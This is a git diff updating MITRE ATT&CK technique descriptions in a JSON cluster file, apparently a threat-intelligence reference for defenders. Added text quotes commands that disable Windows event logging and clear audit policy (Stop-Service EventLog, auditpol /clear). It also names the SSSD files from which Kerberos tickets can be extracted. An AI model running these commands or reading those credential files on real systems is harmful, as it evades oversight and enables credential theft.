diff --git a/clusters/mitre-attack-pattern.json b/clusters/mitre-attack-pattern.json
index 4fa3c72..7bab400 100644
--- a/clusters/mitre-attack-pattern.json
+++ b/clusters/mitre-attack-pattern.json
@@ -80,7 +80,7 @@
"value": "Analyze social and business relationships, interests, and affiliations - T1295"
},
{
- "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nMost Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform’s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: chown (short for change owner), and chmod (short for change mode).\n\nAdversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).",
+ "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nMost Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform’s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: chown (short for change owner), and chmod (short for change mode).\n\nAdversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004) or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).(Citation: 20 macOS Common Tools and Techniques) ",
"meta": {
"external_id": "T1222.002",
"kill_chain": [
@@ -98,7 +98,8 @@
"refs": [
"https://attack.mitre.org/techniques/T1222/002",
"https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100",
- "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110"
+ "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110",
+ "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
]
},
"related": [
@@ -873,7 +874,7 @@
"value": "Registry Run Keys / Startup Folder - T1060"
},
{
- "description": "An adversary could exploit signaling system vulnerabilities to redirect calls or text messages (SMS) to a phone number under the attacker's control. The adversary could then act as a man-in-the-middle to intercept or manipulate the communication. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CSRIC5-WG10-FinalReport) Interception of SMS messages could enable adversaries to obtain authentication codes used for multi-factor authentication(Citation: TheRegister-SS7).",
+ "description": "An adversary could exploit signaling system vulnerabilities to redirect calls or text messages (SMS) to a phone number under the attacker's control. The adversary could then act as an adversary-in-the-middle to intercept or manipulate the communication. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CSRIC5-WG10-FinalReport) Interception of SMS messages could enable adversaries to obtain authentication codes used for multi-factor authentication(Citation: TheRegister-SS7).",
"meta": {
"external_id": "CEL-37",
"kill_chain": [
@@ -1454,7 +1455,7 @@
"mitre-attack:collection"
],
"mitre_data_sources": [
- "Network Traffic: Network Traffic Flow",
+ "Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow",
"Service: Service Creation",
"Windows Registry: Windows Registry Key Modification"
@@ -2932,23 +2933,34 @@
"value": "Install Insecure or Malicious Configuration - T1478"
},
{
- "description": "Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). \n\nKerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Attackers may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.",
+ "description": "Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Attackers may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.\n\nOn Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)\n\nLinux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the \"ccache\". The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. By default SSSD maintains a copy of the ticket database that can be found in /var/lib/sss/secrets/secrets.ldb as well as the corresponding key located in /var/lib/sss/secrets/.secrets.mkey. Both files require root access to read. If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)\n\n\nKerberos tickets on macOS are stored in a standard ccache format, similar to Linux. By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. The storage location for these ccache entries is influenced by the /etc/krb5.conf configuration file and the KRB5CCNAME environment variable which can specify to save them to disk or keep them protected via the KCM daemon. Users can interact with ticket storage using kinit, klist, ktutil, and kcc built-in binaries or via Apple's native Kerberos framework. Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT)\n",
"meta": {
"external_id": "CAPEC-652",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
+ "File: File Access",
+ "Command: Command Execution",
"Active Directory: Active Directory Credential Request",
"Logon Session: Logon Session Metadata"
],
"mitre_platforms": [
- "Windows"
+ "Windows",
+ "Linux",
+ "macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1558",
"https://capec.mitre.org/data/definitions/652.html",
"https://adsecurity.org/?p=227",
+ "https://docs.microsoft.com/windows-server/administration/windows-commands/klist",
+ "https://web.mit.edu/kerberos/krb5-1.12/doc/basic/ccache_def.html",
+ "https://www.fireeye.com/blog/threat-research/2020/04/kerberos-tickets-on-linux-red-teams.html",
+ "https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf",
+ "https://github.com/gentilkiwi/kekeo",
+ "https://posts.specterops.io/when-kirbi-walks-the-bifrost-4c727807744f",
+ "http://web.mit.edu/macdev/KfM/Common/Documentation/preferences.html",
"https://adsecurity.org/?p=1515",
"https://blog.stealthbits.com/detect-pass-the-ticket-attacks",
"https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf",
@@ -3128,7 +3140,7 @@
"value": "Network Share Connection Removal - T1070.005"
},
{
- "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.\n\nThe Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)\n\nThrough DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.",
+ "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.\n\nThe Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft COM ACL)\n\nThrough DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document. DCOM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). (Citation: MSDN WMI)",
"meta": {
"external_id": "T1021.003",
"kill_chain": [
@@ -3152,7 +3164,8 @@
"https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/",
"https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/",
"https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/",
- "https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom"
+ "https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom",
+ "https://msdn.microsoft.com/en-us/library/aa394582.aspx"
]
},
"related": [
@@ -3220,13 +3233,14 @@
"value": "Indicator Removal from Tools - T1027.005"
},
{
- "description": "Adversaries may grant additional permission levels, such as ReadPermission or FullAccess, to maintain persistent access to an adversary-controlled email account. The Add-MailboxPermission [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018)\n\nThis may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)",
+ "description": "Adversaries may grant additional permission levels, such as ReadPermission or FullAccess, to maintain persistent access to an adversary-controlled email account. The Add-MailboxPermission [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018)\n\nAdversaries may also assign mailbox folder permissions through individual folder permissions or roles. Adversaries may assign the Default or Anonymous user permissions or roles to the Top of Information Store (root), Inbox, or other mailbox folders. By assigning one or both user permissions to a folder, the adversary can utilize any other account in the tenant to maintain persistence to the target user’s mail folders.(Citation: Remediation and Hardening Strategies for Microsoft 365 to Defend Against UNC2452)\n\nThis may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)",
"meta": {
"external_id": "T1098.002",
"kill_chain": [
"mitre-attack:persistence"
],
"mitre_data_sources": [
+ "Application Log: Application Log Content",
"Group: Group Modification",
"User Account: User Account Modification"
],
@@ -3239,6 +3253,7 @@
"https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps",
"https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf",
"https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/",
+ "https://www.fireeye.com/blog/threat-research/2021/01/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452.html",
"https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365"
]
},
@@ -3267,7 +3282,8 @@
],
"mitre_platforms": [
"Windows",
- "Linux"
+ "Linux",
+ "macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1036/004",
@@ -3351,7 +3367,7 @@
"value": "Extra Window Memory Injection - T1055.011"
},
{
- "description": "Adversaries may create a new process with a duplicated token to escalate privileges and bypass access controls. An adversary can duplicate a desired access token with DuplicateToken(Ex) and use it with CreateProcessWithTokenW to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user.",
+ "description": "Adversaries may create a new process with a different token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs)\n\nCreating processes with a different token may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used (ex: gathered via other means such as [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003)).",
"meta": {
"external_id": "T1134.002",
"kill_chain": [
@@ -3367,6 +3383,7 @@
],
"refs": [
"https://attack.mitre.org/techniques/T1134/002",
+ "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771525(v=ws.11)",
"https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing"
]
},
@@ -3380,7 +3397,7 @@
"value": "Create Process with Token - T1134.002"
},
{
- "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.",
+ "description": "Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take the many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information.\n\nAdversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls)",
"meta": {
"external_id": "CAPEC-578",
"kill_chain": [
@@ -3403,7 +3420,9 @@
],
"refs": [
"https://attack.mitre.org/techniques/T1562/001",
- "https://capec.mitre.org/data/definitions/578.html"
+ "https://capec.mitre.org/data/definitions/578.html",
+ "https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/",
+ "https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/"
]
},
"related": [
@@ -3695,13 +3714,17 @@
"value": "Network Address Translation Traversal - T1599.001"
},
{
- "description": "Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.\n\nAdversaries may targeting system-wide logging or just that of a particular application. By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.",
+ "description": "Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.\n\nThe EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to Security Settings\\Local Policies\\Audit Policy for basic audit policy settings or Security Settings\\Advanced Audit Policy Configuration for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) auditpol.exe may also be used to set audit policies.(Citation: auditpol)\n\nAdversaries may target system-wide logging or just that of a particular application. For example, the EventLog service may be disabled using the following PowerShell line: Stop-Service -Name EventLog.(Citation: Disable_Win_Event_Logging) Additionally, adversaries may use auditpol and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the /success or /failure parameters. For example, auditpol /set /category:”Account Logon” /success:disable /failure:disable turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: auditpol /clear /y or auditpol /remove /allusers.(Citation: T1562.002_redcanaryco)\n\nBy disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.",
"meta": {
"external_id": "T1562.002",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
+ "Process: Process Creation",
+ "Script: Script Execution",
+ "Windows Registry: Windows Registry Key Creation",
+ "Application Log: Application Log Content",
"Sensor Health: Host Status",
"Command: Command Execution"
],
@@ -3710,7 +3733,16 @@
],
"refs": [
"https://attack.mitre.org/techniques/T1562/002",
- "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/"
+ "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/",
+ "https://www.coretechnologies.com/blog/windows-services/eventlog/",
+ "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/audit-policy",
+ "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/advanced-security-audit-policy-settings",
+ "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol",
+ "https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1562-impair-defenses/disable-windows-event-logging",
+ "https://strontic.github.io/xcyclopedia/library/auditpol.exe-214E0EA1F7F7C27C82D23F183F9D23F1.html",
+ "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.002/T1562.002.md",
+ "https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/",
+ "https://svch0st.medium.com/event-log-tampering-part-1-disrupting-the-eventlog-service-8d4b7d67335c"
]
},
"related": [
@@ -3796,7 +3828,7 @@
"value": "Bypass User Account Control - T1548.002"
},
{
- "description": "Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. \n\nAdversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) ",
+ "description": "Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) ",
"meta": {
"external_id": "T1497.002",
"kill_chain": [
@@ -3815,6 +3847,7 @@
],
"refs": [
"https://attack.mitre.org/techniques/T1497/002",
+ "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc",
"https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667",
"https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/",
"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
@@ -3997,7 +4030,7 @@
"value": "Code Signing Policy Modification - T1553.006"
},
{
- "description": "Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user’s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile to ensure execution. Adversaries have also leveraged the ~/.bashrc file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session. \n\nFor macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh) The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup.",
+ "description": "Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user’s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile to ensure execution. Adversaries have also leveraged the ~/.bashrc file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session. \n\nFor macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup.",
"meta": {
"external_id": "T1546.004",
"kill_chain": [
@@ -4026,6 +4059,7 @@
"https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/",
"https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5",
"https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js",
+ "https://cedowens.medium.com/macos-ms-office-sandbox-brain-dump-4509b5fed49a",
"https://objective-see.com/blog/blog_0x48.html"
]
},
@@ -4116,6 +4150,7 @@
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
+ "File: File Modification",
"Command: Command Execution",
"File: File Creation",
"Kernel: Kernel Module Load"
@@ -4139,7 +4174,10 @@
"https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/",
"https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/",
"http://tldp.org/HOWTO/Module-HOWTO/x197.html",
- "https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux"
+ "https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux",
+ "https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/",
+ "https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/",
+ "https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf"
]
},
"related": [
@@ -4152,7 +4190,7 @@
"value": "Kernel Modules and Extensions - T1547.006"
},
{
- "description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start. Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: Registry Key Security)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter Registry keys associated with service failure parameters (such as FailureCommand) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness) ",
